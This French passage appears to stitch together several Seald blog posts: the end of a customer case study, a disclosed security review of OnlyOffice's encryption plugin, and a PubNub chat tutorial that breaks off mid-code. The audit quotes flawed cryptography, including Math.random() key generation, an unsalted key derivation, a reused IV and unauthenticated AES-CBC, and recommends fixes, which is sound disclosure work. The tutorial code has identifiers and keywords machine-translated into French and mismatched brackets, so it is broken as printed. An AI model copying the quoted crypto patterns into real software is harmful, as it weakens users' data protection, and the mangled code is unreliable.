Un acteur malveillant qui parviendrait à infiltrer les serveurs de Recare ne serait pas capable d’accéder aux données. C’est une robustesse qu’une certification de l’hébergeur (HDS, ISO 27001, HIPAA, etc.) pour l’hébergement de données de santé n’offre pas.

C'est en assurant ce plus haut niveau de confidentialité sur les données que cela leur permet de gagner et de conserver la confiance de leurs clients en France et en Allemagne.

Enfin, Seald permet à Recare de garantir à ses utilisateurs de toujours être à la pointe de la sécurité, et de suivre l'évolution des technologies dans ce domaine.

Seald est le seul SDK de chiffrement de bout-en-bout certifié au monde. La solution bénéficie d'une certification délivrée par l'ANSSI (l'Agence Nationale de la Sécurité des Systèmes d'Information). La technologie a été auditée par des experts tiers, sur la base d'une analyse de conformité et de tests de pénétration avancés, ce qui garantit à Recare un modèle de sécurité robuste.

Comme toujours, n’hésitez pas à contacter notre équipe pour plus d’informations.

À bientôt 👋

Avertissement : Cette revue n'était en aucun cas une revue complète du code ni un audit de sécurité formel. Certaines faiblesses peuvent ne pas avoir été trouvées au cours de cette revue, et les recommandations peuvent ne pas être parfaites.

Résumé : Nous avons trouvé de multiples vulnérabilités critiques dans la mise en œuvre d'E2EE de la dernière version au moment de l'audit (en avril 2021), qui était 6.3.0 :

• le PRNG n'était pas sûr
• la dérivation du mot de passe n'avait pas de sel
• le chiffrement symétrique n'était pas authentifié et réutilisait des IV
• il y avait un potentiel MITM en cas d'attaque active sur le serveur.

Politique de divulgation : la politique de divulgation du Google Project Zero (qui est pour nous une référence dans le domaine) est de publier publiquement après un maximum de 120 jours après le rapport initial. Dans ce cas, le rapport initial a été fait il y a 433 jours. Nous avons ainsi donc décidé de publier ce rapport publiquement.

Historique

• 23/04/2021: Nous avons contacté plusieurs membres de l'équipe de développement d'OnlyOffice pour avoir plus de détails concernant la fonctionnalité Private Rooms, qui met en œuvre le chiffrement de bout en bout avec un plugin.
• 26/04/2021: un responsable marketing d'OnlyOffice m'a envoyé le lien GitHub vers le code source du plugin E2EE.
• 27/04/2021:  nous avons recontacté cette personne par email pour la prévenir que nous voulions envoyer ce rapport. Cette personne m'a renvoyé vers le développeur en charge du développement du plugin de E2EE. Le développeur en charge du plugin a demandé à l'équipe sécurité de nous envoyer les instructions sur la façon d'envoyer un rapport.
• 30/04/2021: nous avons envoyé le rapport conformément à leurs instructions.
• 03/05/2021: nous avons reçu confirmation que le rapport avait été bien reçu et des correctifs priorisés.
• 23/06/2021: nous avons reçu la confirmation que dans la version 6.3.1, le RNG avait été modifié que le l'AES-CBC avait été changé en de l'AES-GCM. Nous n'avons pas revu leurs modifications, et ils nous ont assuré que les autres problèmes seraient corrigés dans une prochaine version du DocumentServer, ce que nous n'avons pas vérifié.
• 07/07/2022: Étant donné que l'échéance de divulgation du Google Project Zero est de 120 jours au maximum et que cela fait plus d'un an que notre rapport a été transmis à OnlyOffice, il nous semble raisonnable de publier ce rapport publiquement aujourd'hui.

Résultats

Les résultats sont classés par type d'opération plutôt que par criticité.

Ils concernent tous la version 6.3.0, qui était la plus récente au moment de la rédaction de ce rapport (en avril 2021).

Chiffrement symétrique

Générateur de nombres pseudo-aléatoires

Le code utilisé par OnlyOffice pour, in fine, générer un mot de passe est le suivant :

window.AscCrypto.CryptoWorker.createPasswordNew = function() {
  function s4() {
    return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
  }
  return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
}

Il utilise comme source d'aléatoire la fonction Math.random() qui n'est pas cryptographiquement sûre.

Des faiblesses de cette fonction ont été exploitées par le passé, comme exposé ici. La version de V8 utilisée est plus résistante à ce type d'exploits, mais elle n'est toujours pas cryptographiquement sûre, comme expliqué sur le blog de V8 : https://v8.dev/blog/math-random puisque cela utilise xorshift128+.

Ce problème est CRITIQUE car il pourrait conduire un attaquant à deviner quelles clés de chiffrement sont utilisées.

Nous avions recommandé soit de :

• utiliser les APIs webcrypto si Chromium Embedded Framework le permet, ou ;
• utiliser node-forge qui possède une solution de repli JS pour générer un aléatoire plus sûr, ou ;
• utiliser les bindings Cpp vers le PRNG sécurisé d'OpenSSL comme pour les autres primitives.

Dérivation de mot de passe

Lors de l'initialisation de la "session" AES, OnlyOffice appelait CryptoAES_Init avec un argument password depuis worker.js, ce qui est défini ici:

else if (name == "CryptoAES_Init")
{
    std::string sPassword = arguments[0]->GetStringValue().ToString();
    std::string sSalt = "";
    if (arguments.size() > 1)
        sSalt = arguments[0]->GetStringValue().ToString();
    if (NULL != m_pAES_KeyIv)
        NSOpenSSL::openssl_free(m_pAES_KeyIv);
    m_pAES_KeyIv = NSOpenSSL::PBKDF2_desktop(sPassword, sSalt);
    return true;
}

Cette fonction a deux problèmes :

• le premier est que sSalt n'est jamais donné (puisque toujours appelé avec un seul argument);
• le second est que si elle était appelée avec un deuxième argument, il ne serait pas utilisé: sSalt est initialisé avec arguments[0] au lieu de arguments[1], donc PBKDF2_desktop serait appelé avec sPassword en tant que sPassword et sSalt.

PBKDF2_desktop est défini ici:

unsigned char* PBKDF2_desktop(const std::string& pass, const std::string& salt)
{
    unsigned char* key_iv = NULL;
    if (salt.empty())
    {
        unsigned int pass_salt_len = 0;
        unsigned char* pass_salt = NSOpenSSL::GetHash((unsigned char*)pass.c_str(), (unsigned int)pass.length(), OPENSSL_HASH_ALG_SHA512, pass_salt_len);
        key_iv = PBKDF2(pass.c_str(), (int)pass.length(), pass_salt, pass_salt_len, OPENSSL_HASH_ALG_SHA256, 32 + 16);
        openssl_free(pass_salt);
    }
    else
    {
        key_iv = PBKDF2(pass.c_str(), (int)pass.length(), (const unsigned char*)salt.c_str(), (unsigned int)salt.length(), OPENSSL_HASH_ALG_SHA256, 32 + 16);
    }
    return key_iv;
}

Puisque le salt est vide dans ce codepath, OnlyOffice dérive le salt du mot de passe directement en utilisant SHA512.

Cela conduit à toujours avoir la même clé pour un mot de passe donné, ce qui est une mauvaise pratique en soi.

Ce problème est MINEUR, puisque cela serait réellement problématique si le mot de passe était un véritable "mot de passe" défini par l'utilisateur, mais il s'agit plutôt d'une clé générée aléatoirement.

Nous avions recommandé de générer un seul aléatoire et de le stocker dans les informations du document, là où les clés symétriques chiffrées sont stockées, et de les récupérer via readPassword qui parse déjà docInfo.

Chiffrement / déchiffrement

Le chiffrement était effectué via worker.js qui appelle CryptoAES_Encrypt, qui appelle du code Cpp qui appelle AES_Encrypt_desktop défini ailleurs:

bool AES_Encrypt_desktop(const unsigned char* key_iv, const std::string& input, std::string& output)
{
    unsigned char* data_crypt = NULL;
    unsigned int data_crypt_len = 0;
    bool bRes = AES_Encrypt(OPENSSL_AES_256_CBC, key_iv, key_iv + 32, (unsigned char*)input.c_str(), (unsigned int)input.length(), data_crypt, data_crypt_len);
    if (!bRes)
        return false;
    output = Serialize(data_crypt, data_crypt_len, OPENSSL_SERIALIZE_TYPE_BASE64);
    openssl_free(data_crypt);
    return true;
}

Cela a deux problèmes majeurs:

1/ L'IV est réutilisé entre plusieurs chiffrements:

L'IV provient de la dérivation du mot de passe (avec le PBKDF2 décrit au paragraphe du dessus), qui donne toujours le même IV pour un mot de passe donné.

Ce problème est CRITIQUE puisque le mode CBC est utilisé, ce qui peut faire une fuite d'information entre différentes versions d'un document qui sont toutes un peu similaires.

Nous avions recommandé de générer un IV aléatoire de 16 octets à chaque opération de chiffrement, et de préfixer le cipherText de cet IV.

2/ L'algorithme de chiffrement n'est pas authentifié

AES-CBC n'est pas un algorithme de chiffrement authentifié (contrairement à ChaCha20 ou AES-GCM), ce qui veut dire qu'un attaquant pourrait injecter des blocs malveillants dans le cipherText, et la donnée serait déchiffrée sans avertissement. Cela a conduit (en combinaison avec d'autres vulnérabilités) à des attaques comme efail.de, qui ont réussi à exflitrer des données chiffrées par l'injection de CBC gadgets, qui seront déchiffrés en un payload qui exploite une vulnérabilité XSS présente dans le client affichant les données déchiffrées. Cela semble tiré par les cheveux, mais il y a eu des exploits de ce genre d'attaques.

Ce problème est CRITIQUE, puisqu'un attaquant pourrait altérer un fichier chiffré de façon à ce que quand l'utilisateur le déchiffre, l'attaquant puisse injecter un payload au début du document qui serait la base d'un exploit en plusieurs étapes.

Nous avions recommandé de soit:

• Changer d'algorithme de chiffrement pour utiliser ChaCha20 ou AES-GCM, or;
• Implémenter un mécanisme de MAC (comme HMAC-SHA256) sur le {IV + cipherText}, calculer ce MAC avec une autre clé, concaténer le résultat du MAC avec le cipherText et IV, et vérifier le MAC avant déchiffrement. Si la vérification du MAC échoue, cela indique que le cipherText a été altéré, il faut donc cesser le déchiffrement. Pour générer l'autre clé, on recommande de dériver 64 octets à partir du mot de passe et non 32 (en supposant que l'IV n'est plus dérivé du mot de passe), et utiliser les 32 premiers octets pour la clé AES et les 32 suivants comme la clé de MAC.

La fonction sous-jacente qui execute l'AES AES_Encrypt est étrange:

    bool AES_Encrypt(int type, const unsigned char* key, const unsigned char* iv, const unsigned char* data, const unsigned int& size, unsigned char*& data_crypt, unsigned int& data_crypt_len)
    {
        EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
        EVP_CIPHER_CTX_init(ctx);
        EVP_EncryptInit_ex(ctx, _get_cipher_aes(type), NULL, key, iv);
        EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 16, NULL);
        int out_len1 = (int)size + AES_BLOCK_SIZE;
        int out_len2 = 0;
        data_crypt = openssl_alloc(out_len1);
        EVP_EncryptUpdate(ctx, data_crypt, &out_len1, data, (int)size);
        EVP_EncryptFinal_ex(ctx, data_crypt + out_len1, &out_len2);
        data_crypt_len = out_len1 + out_len2;
        EVP_CIPHER_CTX_free(ctx);
        EVP_cleanup();
        return true;
    }

Cela instancie un Cipher conext avec CBC et utilise une fonction pour définir la longueur de l'IV avec une constante spécifique à un autre mode de chiffrement EVP_CTRL_GCM_SET_IVLEN (spécifique à AES-GCM). On ne comprend pas exactement l'effet de cet appel de fonction ce qui n'est jamais bon signe lorsque l'on fait de la cryptographie.

Ce problème nécessite plus de recherches, étant donné que nous sommes incapables de déterminer les effets secondaires d'un tel appel de fonction.

Chiffrement asymétrique

Génération de clés

OnlyOffice utilise RSA_generate_multi_prime_key avec l'arguement primes avec la valeur 2 ce qui est le comportement par défaut de RSA_generate_key_ex.

Ce n'est pas un problème, simplement une bizarrerie.

Chiffrement / déchiffrement

Si le code path USE_DEPRECATED est utilisé, cela utilise RSA_NO_PADDING ce qui serait un problème CRITIQUE, mais cela a apparemment déjà été détecté.

L'autre code path qui utilise RSA_PKCS1_OAEP_PADDING n'a pas de souci (même si Victor Shoup a proposé OAEP+ qui est encore plus "optimal" en 2001, mais il n'a jamais été implémenté parce que les attaques contre OAEP ne sont que théoriques jusqu'à aujourd'hui).

Protection des clés privées

Les clés privées semblent protégées par le même chiffrement symétrique que décrit ci-dessus, avec les mêmes problèmes (qui sont CRITIQUES), avec un mot de passe m_sPassword provenant de tmpInfo (ce que l'on a trouvé ici).

Sur ce sujet, nous ne sommes pas familiers avec le mécanisme utilisé pour passer le mot de passe (utilisant tmpInfo), nous ne sommes pas certains que cela soit correctement géré.

Récupération des clés publiques

Les clés publiques proviennet de la commande  'getsharingkeys' sur le cloudCryptoCommandMainFrame qui ensuite semble déclencher  getEncryptionAccess ici, qui ensuite semble faire une requête au serveur de clés de la privacyRoom:

  return request({
    method: "get",
    url: `privacyroom/access/${fileId}`,
    data: fileId,
  });

Nous n'avons pas vu de mécanisme empêchant les serveurs d'OnlyOffice d'introduire un nouveau participant à une room. C'est une backdoor, litérallement: si le serveur devenait malveillant, il pourrait modifier les clés dans ce tableau avec une nouvelle clé publique pour laquelle l'attaquant aurait la clé privée, et de façon quasi silencieuse (il pourrait déchiffrer et rechiffrer pour les autres participants à la volée pour maintenir le même nombre de participants).

Ce problème est MAJEUR car cela peut mener à une backdoor littéralement si les serveurs étaient activement compromis.

La stratégie pour régler ce problème serait de signer la liste des participants (métadonnées et clés publiques) de façon à ce que le serveur ne puisse pas mentir, ou a minima qu'il ne puisse pas mentir une fois que les participants auront vérifié un hash de la liste des participants côté client via un canal séparé à un moment dans le cycle de vie de la room (c'est le paradigme Trust On First Use — TOFU). Si des signatures sont utilisées, pensez à utiliser une paire de clés différente pour chiffrer et signer, réutiliser la même peut mener à des attaques.

Conclusion

Ce rapport est basé sur une revue partielle du code uniquement, nous avons peut-être mal compris une partie du code, les résultats doivent être confirmés par l'équipe de développement d'OnlyOffice. Les recommandations que nous avons faites peuvent avoir elles-mêmes des défauts dont nous ne sommes pas conscients, leur robustesse doit également être confirmée avant de les mettre en œuvre.

Bonjour 👋

Aujourd'hui, découvrons comment construire un chat (messagerie instantanée) chiffré avec Pubnub et le Seald-SDK.

👉 Un exemple entièrement fonctionnel de ce projet est disponible à l'adresse suivante : https://github.com/seald/pubnub-example-project

Qu'est-ce que Pubnub ? PubNub est une messagerie instantanée qui peut être intégré dans la plupart des applications. Fiable et évolutif, il s'intègre facilement aux frameworks les plus courants.

Qu'est-ce que Seald ? Seald offre un SDK qui vous permet de faire du chiffrement de bout-en-bout, sans aucune connaissance préalable en cryptographie. Ce SDK peut être intégré dans des applications web, backend, mobiles ou de bureau.

Pourquoi utiliser du chiffrement de bout-en-bout ? 🔒

Le chiffrement de bout-en-bout offre le plus haut niveau de confidentialité et de sécurité. Il permet de chiffrer les données sensibles dès qu'elles sont collectées. Un tel chiffrement réduit la surface d'attaque de votre application. L'autre atout majeur est que vous pouvez gérer précisément qui peut accéder aux données. Cela vous protégera également lorsque les données ne sont pas dans votre champ d'action, comme les services tiers.

Le chiffrement de bout-en-bout vous permet de garder le contrôle à tout moment, lorsque vos données sont en transit, lorsqu'elles sont au repos, même lorsqu'elles ne sont pas entre vos mains. Il offre donc une protection beaucoup plus large que les autres technologies de chiffrement (TLS, chiffrement intégral du disque, etc.).

Chaque fois que vous êtes confronté à un cas où la conformité est importante (RGPD, HIPAA, SOC-2, ...) ou que vous avez des données sensibles (médicales, défense, ...), le chiffrement de bout-en-bout est un must-have. Mais même pour des données plus banales, c'est une bonne pratique à avoir. Une fuite de données est un événement dévastateur qui devient de plus en plus fréquent.

Pourquoi utiliser Seald au lieu du chiffrement de PubNub ? 👀

Le SDK de PubNub offre un mécanisme de chiffrement simple, en utilisant l'argument cipherKey lors de l'instanciation de son SDK. En procédant ainsi, vous vous assurez que tous les messages téléchargés sont chiffrés avant d'être envoyés. Cependant, vous devez vous charger vous-même de la gestion des clés, ce qui est la partie la plus difficile d'un système chiffré de bout-en-bout.

Les vulnérabilités proviennent rarement du chiffrement lui-même, mais le plus souvent de la fuite des clés par des failles dans le modèle de sécurité.

Seald.io propose un modèle de sécurité robuste, certifié par l'ANSSI, avec un contrôle de gestion des accès en temps réel, la révocation et la récupération des utilisateurs, le 2FA, etc.

Objectifs 🏆

Cet article explique comment intégrer Seald à PubNub pas à pas, afin de sécuriser votre messagerie avec du chiffrement de bout-en-bout. Nous allons construire un exemple d'application de messagerie, avec les fonctionnalités suivantes :

• Salles de chat individuelles et de groupe.
• Chaque membre dispose d'un salon de discussion dédié avec tous les autres utilisateurs.
• N'importe qui peut créer un salon de discussion de groupe avec plusieurs autres utilisateurs.
• Utilisez le chiffrement de bout-en-bout pour chaque message et fichier envoyé.
• Gestion en temps réel de l'accès aux chats.

Implémentation 🧠

Créer un compte PubNub 👤

Pour commencer, il vous faut un compte PubNub, que vous pouvez créer ici. Une fois connecté à votre tableau de bord, vous devriez voir que une application de démonstration avec un jeu de clés de démonstration a été créée.

Sélectionnez le jeu de clés de démonstration, et faites défiler jusqu'à l'onglet de configuration. Pour notre démo, nous devons activer les permissions Files et Objects. Pour la permission Objects, nous allons utiliser les événements suivants : User Metadata Events, Channel Metadata Events andMembership Events.

Une fois le jeu de clés créé et configuré, nous devons le copier sur notre frontend.

Créons un fichier JSON dans le dossier src/, appelé settings.json. Nous allons utiliser ce fichier pour toutes les clés API dont nous aurons besoin. En commençant par le jeu de clés PubNub :

{
  "PUBNUB_PUB_KEY" : "pub-c-XXXXXXXX-XXXX-XXXXXX-XXXXXXXX",
  "PUBNUB_SUB_KEY" : "sub-c-XXXXXXXX-XXXX-XXXX-XXXX-XXXX"
}

Création d'un chat à l'aide de PubNub 💬

Nous utiliserons PubNub pour presque toutes les tâches de backend. Notre backend ne gérera que l'inscription/la signature des utilisateurs, et utilisera un modèle d'utilisateur minimaliste avec seulement un ID, un nom et un email.

Du côté frontal, nous avons besoin d'une petite interface d'authentification.

Une fois que l'utilisateur a un compte, la première chose dont il a besoin est une instance du SDK PubNub.

Pour identifier l'utilisateur sur Pubnub, nous devons fournir un UUID. Pour garder les choses simples, nous allons utiliser le même id que sur notre backend.

/* frontend/src/App.js */

import settings from './settings.json' // notre fichier de paramètres pour les clés API

/*
...
*/

const pubnub = new PubNub({
    publishKey: settings.PUBNUB_PUB_KEY,
    subscribeKey: settings.PUBNUB_SUB_KEY,
    uuid: currentUser.id
})

Pour garder notre backend aussi simple que possible, nous allons utiliser les métadonnées utilisateur de PubNub pour échanger les informations des utilisateurs. Juste après l'instanciation du SDK, nous appelons simplement la fonction setUUIDMetadata de PubNub.

/* frontend/src/App.js */

await pubnub.objects.setUUIDMetadata({
  uuid: currentUser.id,
  data: {
    email: currentUser.emailAddress,
    name: currentUser.name
  }
})

Obtenir l'état initial de l'application 🌱

La première chose à faire avec PubNub est de récupérer tous les membres existants et de les stocker dans notre magasin de données local.

/* frontend/src/App.js */

const existingMembers = await pubnub.objects.getAllUUIDMetadata()
dispatch({
  type: SET_USERS,
  payload: {
    users: existingMembers.data.map(u => new User({ id: u.id, name: u.name, emailAddress: u.email })))
  }
})

Chaque salon de discussion correspondra à un canal PubNub. Nous allons également ajouter quelques métadonnées à chaque canal :

• ownerId : L'ID de l'utilisateur qui a créé la salle.
• one2one : Un booléen pour différencier les salons de messagerie directe, et les salons de groupe.
• archived : Un booléen, pour cacher un espace de groupe supprimé.

Les métadonnées ownerId seront utilisées plus tard, lors de l'ajout du SDK de Seald. PubNub n'a pas de concept de propriété, mais Seald en a un. Il définira qui peut ajouter ou supprimer des utilisateurs d'un canal. Il définit essentiellement un administrateur de groupe.

Nous allons commencer par récupérer les salons de discussion existants. Nous aurons également besoin des métadonnées des salons, et nous devrons donc inclure des champs personnalisés. Ensuite, nous devons filtrer les salles archivées et tout envoyer à notre magasin de données. Enfin, nous nous "abonnons" au canal PubNub associé à la salle, afin de recevoir les nouveaux messages.

/* frontend/src/App.js */

// Récupération des salles dont nous sommes membres
const memberships = await pubnub.objects.getMemberships({
  include: {
    customChannelFields: true
  }
})
const knownRooms = []
// Pour chaque chambre, récupérer les membres de la chambre
for (const room of memberships.data.filter(r => !r.channel.custom.archived)) {
  const roomMembers = await pubnub.objects.getChannelMembers({ channel : room.channel.id })
  knownRooms.push(new Room({
    id: chambre.canal.id,
    nom: chambre.canal.nom,
    users: roomMembers.data.map(u => u.uuid.id),
    ownerId: room.channel.custom.ownerId,
    one2one: room.channel.custom.one2one
  }))
}
// Stocke les chambres dans notre magasin de données
dispatch({
  type: SET_ROOMS,
  payload: {
    rooms: knownRooms
  }
})
// S'abonner aux canaux pour recevoir les nouveaux messages
pubnub.subscribe({ channels : knownRooms.map(r => r.id) })

Maintenant nous avons récupéré toutes les chambres dans lesquelles nous sommes. Nous avons besoin d'une dernière chose pour terminer l'initialisation de l'application : s'assurer que nous avons un salon one2one avec chaque autre membre, y compris les nouveaux inscrits.

Pour chaque utilisateur nouvellement trouvé, nous allons créer un nouveau salon et envoyer un message de bienvenue. Ensuite, nous définirons les métadonnées de la salle, et nous nous abonnerons à elle.

/* frontend/src/App.js */

// Assurez-vous que nous avons une salle one2one avec tout le monde.
const one2oneRooms = knownRooms.filter(r => r.one2one)
for (const m of existingMembers.data.filter(u => u.id!== currentUser.id)) {
    if (!one2oneRooms.find(r => r.users.includes(m.id)))) {
      // Nouvel utilisateur trouvé : génération d'une nouvelle chambre one2one
      const newRoomId = PubNub.generateUUID()
      const newRoom = new Room({
            id: newRoomId,
            utilisateurs: [currentUser.id, m.id],
            one2one: true,
            nom: m.name,
            ownerId: currentUser.id
          })
      // Ajoute la nouvelle chambre à notre liste locale
      dispatch({
        type: EDIT_OR_ADD_ROOM,
        payload: {
          room: new Room({
            id: newRoomId,
            users: [currentUser.id, m.id],
            one2one: true,
            name: m.name, ownerId : currentUser.id
          })
        }
      })
      // Publiez un message "Hello" dans la pièce
      await pubnub.publish({
        channel: newRoomId,
        message: {
          type: 'message',
          data: (await sealdSession.encryptMessage('Hello 👋'))
        }
      })
      // S'abonner à la nouvelle salle
      pubnub.subscribe({ channels : [newRoomId] })
      await pubnub.objects.setChannelMetadata({
        channel: newRoomId,
        data: {
          name: 'one2one',
          custom: {
            one2one: true,
            ownerId: currentUser.id,
          },
        }
      })
      await pubnub.objects.setChannelMembers({
        channel: newRoomId,
        uuids: [currentUser.id, m.id]
      })
    }
}

Une fois que tout cela est fait, l'état initial de notre application est entièrement défini. Cependant, nous devons le maintenir à jour.

Cela peut être fait simplement en ajoutant un écouteur d'événements pour les événements membership.

/* frontend/src/App.js */

pubnub.addListener({
  objects : async function(objectEvent) {
    if (objectEvent.message.type === 'membership') {
      if (objectEvent.message.event === 'delete') { // L'utilisateur est supprimé d'un espace.
        /*
        Suppression de la chambre du magasin...
        */
      }
      if (objectEvent.message.event === 'set') { // L'utilisateur est ajouté à une chambre.
        const metadata = await pubnub.objects.getChannelMetadata({ channel : objectEvent.message.data.channel.id })
        const roomMembers = (await pubnub.objects.getChannelMembers({ channel : objectEvent.message.data.channel.id })).data.map(u => u.uuid.id)
        /*
        Ajout d'une nouvelle chambre au magasin + abonnement au canal de la nouvelle chambre...
        */
      }
    }
  }
})
pubnub.subscribe({ channels : [currentUser.id] }) // canal sur lequel sont publiés les événements concernant l'utilisateur actuel

Nous pouvons maintenant jeter un coup d'oeil à un salon de discussion one2one en lui-même. Nous allons ensuite nous occuper des salles de groupe.

Recevoir et envoyer des messages dans un salon de discussion 📩

Dans un fichier chat.js, nous aurons toute la logique pour afficher les messages d'une salle de chat.

Pour initialiser cette salle, la seule chose que nous devons faire est de récupérer tous les messages préexistants. Cela peut être fait simplement en connaissant l'ID de la salle.

/* frontend/src/components/Chat.jsx */

const fetchedMessages = (await pubnub.fetchMessages({ channels : [currentRoomId] })).channels[currentRoomId]

Nous pouvons nous abonner au canal pour obtenir les nouveaux messages, et ajouter un listner pour les afficher en temps réel.

/* frontend/src/components/Chat.jsx */

pubnub.addListener({ message : handleReceiveMessage })
pubnub.subscribe({ channels : [currentRoomId] })

Pour envoyer un message, il suffit de le publier sur le canal :

/* frontend/src/components/Chat.jsx */

const handleSubmitMessage = async e => {
  /* Quelques vérifications que la pièce est dans un état correct... */
  await pubnub.publish({
    channel: state.room.id,
    message: {
      type: 'message',
      data: state.message
    }
  })
}

Pour envoyer un fichier, nous allons d'abord le télécharger sur PubNub. Ensuite, nous récupérerons l'URI du fichier téléchargé et le publierons sous forme de message dans la salle de discussion.

/* frontend/src/components/UploadButton.jsx */

// Téléchargement d'un fichier chiffré
const uploadData = await pubnub.sendFile({
  channel: room.id,
  file: myFile,
  storeInHistory: false
})
const fileURL = await pubnub.getFileUrl({ id: uploadData.id, name: uploadData.name, channel: room.id })
await pubnub.publish({
  channel: state.room.id,
  message: {
    type: 'file',
    url: fileURL,
    fileName: await sealdSession.encryptMessage(selectedFiles[0].name)
  }
})

Gérer les groupes de discussion 👨‍👩‍👦‍👦

Pour créer et gérer des groupes, nous aurons besoin d'une interface pour sélectionner les utilisateurs.

Une fois que les membres du groupe ont été sélectionnés, nous pouvons créer un canal PubNub pour notre salle, puis définir les métadonnées et les membres pour le canal. Le code est très similaire à ce qui est fait pour les salles one2one, nous ne le répéterons donc pas ici.

Nous avons maintenant une application de chat complète. Ajoutons le chiffrement de bout-en-bout pour chaque message!

Ajout du chiffrement de bout-en-bout avec Seald 🔒💬

Créer un compte Seald 👤

Pour commencer avec Seald, créer un compte d'essai gratuit ici

En atterrissant sur le tableau de bord de Seald, quelques URL et jetons d'API s'affichent.
Récupérez les éléments suivants :

• appId
• apiURL
• keyStorageURL

Nous allons ajouter ces clés à notre settings.json

{
  "PUBNUB_PUB_KEY": "pub-c-XXXXXXXX-XXXX-XXXXXX-XXXXXXXX",
  "PUBNUB_SUB_KEY": "sub-c-XXXXXXXX-XXXX-XXXXXX-XXXXXX",
  "SEALD_APP_ID": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
  "SEALD_API_URL": "https://api.staging-0.seald.io",
  "SEALD_KEYSTORAGE_URL": "https://ssks.staging-0.seald.io"
}

**Pour pouvoir utiliser le SDK de Seald, chaque utilisateur a besoin d'une licence JWT lors de son inscription.

Ces JWT doivent être générés sur le backend en utilisant un secret et un ID secret.

Depuis la page d'accueil du tableau de bord, copiez le secret JWT et son ID associé dans backend/settings.json

{
  "SEALD_JWT_SECRET_ID": "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXX",
  "SEALD_JWT_SECRET": "XXXXXXXXXXXXXXXXXXXXXXXX"
}

Au cours de l'appel de l'API d'inscription, nous allons générer un JWT de licence Seald et le renvoyer.

/* backend/routes/account.js */

const token = new SignJWT({
  iss: settings.SEALD_JWT_SECRET_ID,
  jti: uuidv4(), /// Chaîne aléatoire avec suffisamment d'entropie pour ne jamais se répéter.
  iat: Math.floor(Date.now() / 1000), // JWT valide uniquement pendant 10 minutes. `Date.now()` renvoie l'information en millisecondes, ici on en a besoin en secondes.
  scopes: [3], // PERMISSION_JOIN_TEAM
  join_team: true
})
  .setProtectedHeader({ alg: 'HS256' })

const signupJWT = await token.sign(Buffer.from(settings.SEALD_JWT_SECRET, 'ascii'))

Pour plus d'informations à ce sujet, consultez notre article de documentation sur JWT.

Ensuite, nous devons installer le SDK de Seald.

Nous devons également installer un plugin pour identifier les utilisateurs sur le serveur Seald. Pour cela, nous allons utiliser le paquet sdk-plugin-ssks-password.

Ce plugin permet une authentification simple par mot de passe de nos utilisateurs.

npm i -S @seald-io/sdk @seald-io/sdk-plugin-ssks-password

Instanciation du SDK de Seald 💡

Ensuite, nous allons créer un fichier seald.js. Dans ce fichier, nous allons commencer par créer une fonction pour instancier le SDK Seald.

/* frontend/src/services/seald.js */

import SealdSDK from '@seald-io/sdk-web'
import SealdSDKPluginSSKSPassword de '@seald-io/sdk-plugin-ssks-password'
import settings from './settings.json'

let sealdSDKInstance = null

const instantiateSealdSDK = async () => {
  sealdSDKInstance = SealdSDK({
    appId: settings.SEALD_APP_ID,
    apiURL: settings.SEALD_API_URL,
    plugins: [SealdSDKPluginSSKSPassword(settings.SEALD_KEYSTORAGE_URL)]
  })
}

Création et récupération des identités Seald 🔑

Dans seald.js, nous allons également ajouter deux fonctions : une pour créer une identité et une pour en récupérer une. Pour créer une identité, nous avons également besoin de la licence JWT retournée lors de la création du compte.

/* frontend/src/services/seald.js */

export const createIdentity = async ({ userId, password, signupJWT }) => {
  await instantiateSealdSDK()
  await sealdSDKInstance.initiateIdentity({ signupJWT })
  await sealdSDKInstance.ssksPassword.saveIdentity({ userId, password })
}

export const retrieveIdentity = async ({ userId, password }) => {
  await instantiateSealdSDK()
  await sealdSDKInstance.ssksPassword.retrieveIdentity({ userId, password })
}

Au cours de nos flux d'inscription et d'ouverture de session, il nous suffit d'appeler ces fonctions après que l'utilisateur s'est connecté.

À ce stade, chaque fois que notre utilisateur est connecté, il dispose d'un SDK Seald opérationnel, prêt à chiffrer et déchiffrer.

Avertissement : Pour une bonne sécurité, le mot de passe doit être pré-haché avant d'être envoyé au serveur d'authentification. Pour plus de détails à ce sujet, veuillez consulter le paragraphe sur l'authentification par mot de passe dans notre documentation.

Commencez à chiffrer et à déchiffrer les messages 🔒🔓

Chaque salle de chat sera associée à une encryptionSession sur le SDK de Seald.

Chaque fois que nous créons un salon de discussion, il suffit d'ajouter une ligne pour créer la session de chiffrement, puis de l'utiliser :

/* frontend/src/App.js */

// Créez une session Seald
const sealdSession = await getSealdSDKInstance().createEncryptionSession(
  { userIds: [currentUser.id, m.id] },
  { metadata: newRoomId }
)
// Publiez un message "Hello" dans la pièce
await pubnub.publish({
  channel: newRoomId,
  message: {
    type: 'message',
    data: (await sealdSession.encryptMessage('Hello 👋'))
  }
})

Notez que notre utilisateur est inclu par défaut comme destinataire de la encryptionSession.

Lorsque nous accédons à une pièce, nous devons obtenir la encryptionSession correspondante. Il peut être récupéré à partir de n'importe quel message ou fichier chiffré. Une fois que nous l'avons, nous le gardons dans la référence du composant.

Ensuite, nous pouvons simplement utiliser les fonctions session.encryptMessage, session.encryptFile, session.decryptMessage et session.decryptFile.

Commençons par les messages. Pour envoyer un message :

/* frontend/src/components/Chat.js */

const handleSubmitMessage = async m => {
  /* Une certaine validation que nous sommes dans une pièce valide... */

  // s'il n'y a pas encore de session de chiffrement dans le cache, en créer une
  // (cela ne devrait jamais arriver, car un "Hello" est envoyé à la création de la salle)
  if (!sealdSessionRef.current) {
    sealdSessionRef.current = await getSealdSDKInstance().createEncryptionSession(
      { userIds: state.room.users },
      { metadata: state.room.id }
    )
  }
  // utiliser la session pour chiffrer le message que nous essayons d'envoyer
  const encryptedMessage = await sealdSessionRef.current.encryptMessage(state.message)
  // publier le message chiffré à pubnub
  await pubnub.publish({
    channel: state.room.id,
    message: {
      type: 'message',
      data: encryptedMessage
    }
  })

  /* Un peu de nettoyage... */
}

Et quand nous recevons un message :

/* frontend/src/components/Chat.js */

const decryptMessage = async m => {
  /* Filtrer les fichiers... */
  let encryptedData = m.message.data

  if (!sealdSessionRef.current) { // aucune session de chiffrement n'a encore été définie dans le cache
    // nous essayons de l'obtenir en analysant le message actuel
